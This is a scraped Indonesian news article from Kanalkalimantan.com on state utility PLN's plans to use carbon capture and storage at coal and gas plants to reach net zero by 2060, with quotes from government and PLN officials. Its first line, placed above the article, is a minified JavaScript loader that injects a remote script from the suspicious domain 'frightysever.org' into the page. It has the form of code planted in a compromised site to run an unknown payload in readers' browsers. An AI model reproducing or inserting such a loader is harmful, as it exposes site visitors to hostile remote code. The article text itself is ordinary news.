(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PLN UIP3B KALIMANTAN

Komitmen PLN Menurunkan Emisi Karbon dengan Penerapan Teknologi CCS pada Pembangkit


KANALKALIMANTAN.COM, JAKARTA – PT PLN (Persero) telah mengambil langkah progresif dalam upayanya untuk mengurangi emisi karbon, salah satunya dengan menerapkan teknologi Penangkapan dan Penyimpanan Karbon (Carbon Capture Storage, CCS) pada pembangkit listrik. Inisiatif ini sejalan dengan strategi pemerintah dalam mencapai target Net Zero Emissions (NZE) pada 2060.

Jodi Mahardi, Deputi Bidang Koordinasi Kedaulatan Maritim dan Energi, menyampaikan CCS menjadi kunci penting dalam percepatan dekarbonisasi, dan Indonesia saat ini memiliki potensi untuk menjadi pusat regional dalam pengembangan teknologi CCS.

“Pemerintah Indonesia memiliki komitmen yang kuat dalam mengatasi perubahan iklim dan mengurangi emisi karbon. CCS adalah salah satu teknologi yang sangat vital dalam mencapai tujuan ini, dan pemerintah telah aktif mendorong implementasinya dengan kebijakan pendukung untuk investasi dalam proyek-proyek CCS di masa depan,” ujarnya.

Baca juga: Api Mengamuk di Kelurahan Gambut, Satu Orang Meninggal

Jodi juga menekankan pemerintah memberikan dukungan berkelanjutan untuk pengembangan CCS, dengan tujuan menciptakan masa depan yang lebih bersih sambil mendukung pertumbuhan ekonomi yang berkelanjutan.

“Kami mengundang semua pihak yang berkepentingan untuk bergabung dalam perjalanan ini, dan bersama-sama mewujudkan visi kita untuk dunia yang lebih baik,” tambahnya.

Darmawan Prasodjo, Direktur Utama PLN, menjelaskan bahwa PLN telah merencanakan langkah-langkah jangka pendek dan jangka panjang untuk mengurangi emisi karbon, sebagai bagian dari komitmen mencapai Net Zero Emissions pada tahun 2060. Salah satu langkah konkret yang diambil adalah pengembangan teknologi CCS.

“PLN memainkan peran penting dalam transisi energi Indonesia menuju energi bersih. Kami memiliki peta jalan transisi energi yang komprehensif dan berkomitmen untuk melaksanakannya guna mencapai Net Zero Emissions pada tahun 2060 atau bahkan lebih cepat,” ujar Darmawan.

Baca juga: Pentingnya Cek Kemasan, Label, Izin Edar, Kadaluarsa Jajanan Anak Sekolah

Direktur Transmisi dan Perencanaan Sistem PLN, Evy Haryadi, menekankan potensi PLN dalam mengembangkan CCS untuk mengurangi emisi karbon.

Evy Haryadi, Direktur Transmisi dan Perencanaan Sistem, menyoroti bahwa pengembangan CCS di Indonesia semakin masif dan menjadi salah satu strategi unggulan pemerintah untuk mengurangi emisi karbon. PLN, sebagai perusahaan listrik, memiliki potensi besar dalam pengembangan teknologi CCS.

“Kapasitas total pembangkit PLN yang berbasis batu bara dan gas, yang menghasilkan karbon dan berpotensi untuk diretrofit dengan teknologi penangkapan karbon, mencapai 37,6 Gigawatt (GW). Dengan potensi ini, PLN memiliki peluang bisnis yang signifikan di bidang CCS,” jelas Evy.

Baca juga: Enigma Debu Batu Bara di Zona PT Talenta

PLN saat ini telah aktif melakukan studi penerapan CCS di beberapa pembangkit yang dimilikinya dengan berkolaborasi bersama mitra seperti JERA, Karbon Korea, Inpex, Medco, dan GE.
“Kami terbuka untuk kolaborasi teknologi dan studi lebih lanjut. Saat ini, kami tengah melakukan studi bersama berbagai mitra di empat Pembangkit Listrik Tenaga Uap (PLTU) dan dua Pembangkit Listrik Tenaga Gas Uap (PLTGU) yang kami miliki,” ungkap Evy.

Abdul Salam Nganro, General Manager PLN UIP3B Kalimantan, menyoroti tiga tantangan yang dihadapi PLN saat ini, yaitu pertumbuhan bisnis, pencapaian net zero emission, dan digitalisasi. Ia menegaskan pentingnya peningkatan kapabilitas para profesional PLN untuk menghadapi tantangan-tantangan ini dengan sukses.

Dengan komitmen dan langkah-langkah yang kuat ini, PLN berperan penting dalam mengurangi emisi karbon di Indonesia sambil terus menyediakan pasokan listrik yang andal dan berkelanjutan. Langkah-langkah ini membawa harapan untuk menciptakan masa depan yang lebih hijau dan bersih bagi generasi mendatang. (Kanalkalimantan.com/hms).

Reporter : hms
Editor : KK


Risa

Recent Posts

Srikandi PLN UPT Palangkaraya Mengajar di SDN 5 Bukit Tunggal

KANALKALIMANTAN.COM, PALANGKARAYA – PT PLN (Persero) Unit Pelaksana Transmisi (UPT) Palangkaraya melalui gugus tugas Srikandi… Read More

3 jam ago

Pemkab HSU Gelar Peringatan Harkitnas

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan memimpin upacara peringatan… Read More

3 jam ago

‘Memakan’ Jalan, Lapak Pedagang Pasar Lama Diminta Mundur

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah pedagang yang berjualan di Pasar Lama Banjarmasin tepatnya di Jalan Pasar… Read More

3 jam ago

Komisi III Banjarbaru Minta Masterplan Mitigasi Banjir Disempurnakan

KANALKALIMANTAN.COM, BANJARBARU - Masterplan penanganan banjir di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) Banjarbaru, masih… Read More

3 jam ago

Pemkab Banjar Peringati Harkitnas dan HUT ke-75 Proklamasi Gubernur Tentara ALRI Divisi IV Pertahanan Kalimantan

KANALKALIMANTAN.COM, MARTAPURA - Halaman Kantor Bupati Banjar menjadi lokasi dilaksanakannya peringatan ke-116 Hari Kebangkitan Nasional… Read More

6 jam ago

Dirut PLN Tinjau Posko Utama Kelistrikan KTT WWF, Pastikan Sistem Kelistrikan di Bali Andal

KANALKALIMANTAN.COM, DENPASAR - Direktur Utama PT PLN (Persero) Darmawan Prasodjo meninjau langsung Posko Utama Kelistrikan… Read More

7 jam ago

This website uses cookies.